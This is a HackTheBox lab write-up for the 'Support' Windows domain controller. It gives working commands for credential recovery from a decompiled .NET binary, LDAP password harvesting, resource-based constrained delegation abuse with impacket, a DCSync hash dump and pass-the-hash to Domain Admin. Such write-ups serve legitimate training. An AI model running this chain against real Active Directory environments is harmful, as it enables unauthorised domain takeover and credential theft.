# Support Writeup - HackTheBox

> Easy Windows box involving LDAP enumeration, custom binary reverse engineering to extract credentials, and Kerberos resource-based constrained delegation abuse for SYSTEM.

- **URL:** https://hackindex.io/writeups/support
- **Platform:** HackTheBox
- **Difficulty:** Easy
- **Operating system:** Windows
- **Machine:** https://hacktheboxltd.sjv.io/support
- **Tags:** reverse-engineering, active-directory, bloodhound, ldap, privilege-escalation
- **Authors:** [Joshua](https://hackindex.io/authors/joshua.md)
- **Read time:** 5 min read
- **Published:** 2026-04-05
- **Updated:** 2026-07-14

## Discovery

The scan confirms a Windows Server 2022 domain controller. The domain is `support.htb` and the DC hostname is `dc.support.htb`. Key ports: DNS/53, Kerberos/88, LDAP/389 and 3268, SMB/445, WinRM/5985, and ADWS/9389. Add both names to `/etc/hosts` before proceeding. Also sync the clock to the DC to avoid Kerberos skew issues.

**TCP port scan**

```bash
scan_tcp_full $TARGET_IP
# PORT      STATE SERVICE       VERSION
# 53/tcp    open  domain        Simple DNS Plus
# 88/tcp    open  kerberos-sec  Microsoft Windows Kerberos
# 135/tcp   open  msrpc         Microsoft Windows RPC
# 139/tcp   open  netbios-ssn   Microsoft Windows netbios-ssn
# 389/tcp   open  ldap          Microsoft Windows Active Directory LDAP (Domain: support.htb)
# 445/tcp   open  microsoft-ds?
# 464/tcp   open  kpasswd5?
# 593/tcp   open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
# 636/tcp   open  tcpwrapped
# 3268/tcp  open  ldap          Microsoft Windows Active Directory LDAP (Domain: support.htb)
# 5985/tcp  open  http          Microsoft HTTPAPI httpd 2.0
# 9389/tcp  open  mc-nmf        .NET Message Framing
# Service Info: Host: DC; OS: Windows
```

**Set up hosts and sync clock**

```bash
addhost $TARGET_IP dc.support.htb
addhost $TARGET_IP support.htb
sudo timedatectl set-ntp false
sudo ntpdate $TARGET_IP
# [+] Added: 10.129.23.112 → dc.support.htb
# [+] Added: 10.129.23.112 → support.htb
# 2026-04-05 14:25:11.814917 (+0200) +2.880306 +/- 0.004542 10.129.23.112 s1 no-leap
```

## Enumeration

### SMB ,  support-tools Share

SMB allows guest/null auth. Two shares are readable without credentials: `IPC$` and `support-tools`. The tools share contains standard portables plus a custom ZIP: `UserInfo.exe.zip`.

**Enumerate SMB shares as Guest**

```bash
nxc smb $TARGET_IP -u 'Guest' -p '' --shares
# SMB  10.129.23.112  445  DC  [+] support.htb\Guest:
# SMB  10.129.23.112  445  DC  Share           Permissions
# SMB  10.129.23.112  445  DC  ADMIN$                          NO ACCESS
# SMB  10.129.23.112  445  DC  C$                              NO ACCESS
# SMB  10.129.23.112  445  DC  IPC$            READ
# SMB  10.129.23.112  445  DC  NETLOGON                        NO ACCESS
# SMB  10.129.23.112  445  DC  support-tools   READ
# SMB  10.129.23.112  445  DC  SYSVOL                          NO ACCESS
```

**Download UserInfo.exe.zip from share**

```bash
smbclient //$TARGET_IP/support-tools -U 'Guest' -N -c 'get UserInfo.exe.zip'
# getting file \UserInfo.exe.zip of size 277499
```

### Reversing UserInfo.exe ,  Hardcoded LDAP Credentials

The ZIP contains a .NET executable. Decompile it with `ilspycmd` to recover the source. The `UserInfo.Services.Protected` class holds a hardcoded base64-encoded password XOR'd with the key `armando` and `0xDF`:

**Decompile with ilspycmd**

```bash
unzip UserInfo.exe.zip -d UserInfo
ilspycmd -p -o reverse_userinfo UserInfo/UserInfo.exe
```

```csharp
// UserInfo.Services.Protected
internal class Protected
{
    private static string enc_password = "0Nv32PTwgYjzg9/8j5TbmvPd3e7WhtWWyuPsyO76/Y+U193E";
    private static byte[] key = Encoding.ASCII.GetBytes("armando");

    public static string getPassword()
    {
        byte[] array = Convert.FromBase64String(enc_password);
        byte[] array2 = array;
        for (int i = 0; i < array.Length; i++)
        {
            array2[i] = (byte)(array[i] ^ key[i % key.Length] ^ 0xDF);
        }
        return Encoding.Default.GetString(array2);
    }
}
```

Decrypt the password by replicating the XOR routine ,  base64-decode the ciphertext, then XOR each byte against the repeating key `armando` and `0xDF`. Use CyberChef or a quick Python snippet:

```python
import base64

enc = "0Nv32PTwgYjzg9/8j5TbmvPd3e7WhtWWyuPsyO76/Y+U193E"
key = b"armando"
data = base64.b64decode(enc)
result = bytes([data[i] ^ key[i % len(key)] ^ 0xDF for i in range(len(data))])
print(result.decode())
```

The decrypted password belongs to the `ldap` service account, which the binary uses to query Active Directory. Verify it authenticates:

**Verify ldap account credentials**

```bash
nxc ldap $TARGET_IP -u ldap -p '$LDAP_PASSWORD'
# LDAP  10.129.23.112  389  DC  [+] support.htb\ldap:$LDAP_PASSWORD
```

### LDAP Enumeration ,  Password in info Field

With valid domain credentials, dump all user objects. The `support` account has a cleartext password stored in its `info` attribute:

**Dump domain users via LDAP**

```bash
ldapsearch -x -H ldap://$TARGET_IP -D "ldap@support.htb" -w '$LDAP_PASSWORD' \
  -b "DC=support,DC=htb" "(objectClass=user)" sAMAccountName info memberOf
# # support, Users, support.htb
# dn: CN=support,CN=Users,DC=support,DC=htb
# sAMAccountName: support
# info: $SUPPORT_PASSWORD
# memberOf: CN=Shared Support Accounts,CN=Users,DC=support,DC=htb
# memberOf: CN=Remote Management Users,CN=Builtin,DC=support,DC=htb
```

The `support` account is a member of **Remote Management Users**, so WinRM access is available directly.

## Initial Access

**WinRM as support**

```bash
evil-winrm -i dc.support.htb -u support -p '$SUPPORT_PASSWORD'
# Evil-WinRM shell v3.9
# Info: Establishing connection to remote endpoint
# *Evil-WinRM* PS C:\Users\support\Documents> hostname
# dc
```

## Privilege Escalation

### BloodHound ,  Shared Support Accounts → GenericAll on DC

Upload and run SharpHound to map the AD attack paths:

**Run SharpHound from WinRM session**

```bash
upload /path/to/SharpHound.exe
.\SharpHound.exe -c All --zipfilename bh.zip
download 20260405062147_bh.zip
# Info: Upload successful!
# Enumeration finished in 00:00:08
# Status: 311 objects finished
# Info: Download successful!
```

BloodHound shows: **support** is in *Shared Support Accounts*, which has **GenericAll** on the domain controller object `DC$`. GenericAll on a computer object enables Resource-Based Constrained Delegation (RBCD) abuse ,  the attack creates a fake machine account, grants it delegation rights over `DC$`, requests a service ticket impersonating Administrator, and uses that ticket to DCSync.

### RBCD Attack ,  Create Fake Computer

**Add fake machine account**

```bash
impacket-addcomputer support.htb/support:'$SUPPORT_PASSWORD' \
  -computer-name 'FAKE$' -computer-pass 'Wachtwoord123!' \
  -dc-ip $TARGET_IP
# [*] Successfully added machine account FAKE$ with password Wachtwoord123!.
```

**Write RBCD — allow FAKE$ to delegate on DC$**

```bash
impacket-rbcd support.htb/support:'$SUPPORT_PASSWORD' \
  -delegate-from 'FAKE$' -delegate-to 'DC$' \
  -action write -dc-ip $TARGET_IP
# [*] Attribute msDS-AllowedToActOnBehalfOfOtherIdentity is empty
# [*] Delegation rights modified successfully!
# [*] FAKE$ can now impersonate users on DC$ via S4U2Proxy
```

**Request service ticket impersonating Administrator**

```bash
impacket-getST support.htb/'FAKE$':'Wachtwoord123!' \
  -spn 'cifs/dc.support.htb' \
  -impersonate Administrator \
  -dc-ip $TARGET_IP
# [*] Getting TGT for user
# [*] Impersonating Administrator
# [*] Requesting S4U2self
# [*] Requesting S4U2Proxy
# [*] Saving ticket in Administrator@cifs_dc.support.htb@SUPPORT.HTB.ccache
```

### DCSync ,  Dump Administrator Hash

Load the Kerberos ticket and use `secretsdump` to pull the Administrator NTLM hash from NTDS.DIT via DRSUAPI:

**DCSync with impersonated ticket**

```bash
export KRB5CCNAME='Administrator@cifs_dc.support.htb@SUPPORT.HTB.ccache'
impacket-secretsdump -k -no-pass dc.support.htb -just-dc-user Administrator
# [*] Dumping Domain Credentials (domain\uid:rid:lmhash:nthash)
# [*] Using the DRSUAPI method to get NTDS.DIT secrets
# Administrator:500:aad3b435b51404eeaad3b435b51404ee:$ADMINISTRATOR_HASH:::
# [*] Kerberos keys grabbed
# Administrator:aes256-cts-hmac-sha1-96:f5301f54fad85ba357fb859c94c5c31a6abe61f6db1986c03574bfd6c2e31632
# [*] Cleaning up...
```

Pass the NTLM hash to WinRM:

**WinRM as Administrator via pass-the-hash**

```bash
evil-winrm -i dc.support.htb -u Administrator -H $ADMINISTRATOR_HASH
# Evil-WinRM shell v3.9
# Info: Establishing connection to remote endpoint
# *Evil-WinRM* PS C:\Users\Administrator\Documents> whoami
# support\administrator
```

Domain Administrator shell obtained.

Related

## References

- [ILSpy — .NET Decompiler](https://github.com/icsharpcode/ILSpy) - ilspycmd is the CLI version — decompiles .NET assemblies back to C# source
- [BloodHound — Active Directory Attack Path Discovery](https://bloodhound.readthedocs.io/en/latest/) - AD attack path discovery — reveals GenericAll from Shared Support Accounts to DC$
- [The Hacker Recipes — RBCD Abuse](https://www.thehacker.recipes/ad/movement/kerberos/delegations/rbcd) - Full RBCD attack chain — addcomputer, rbcd write, getST, secretsdump
- [Impacket — Python AD/Windows Attack Tools](https://github.com/fortra/impacket) - addcomputer, rbcd, getST, secretsdump all from the Impacket suite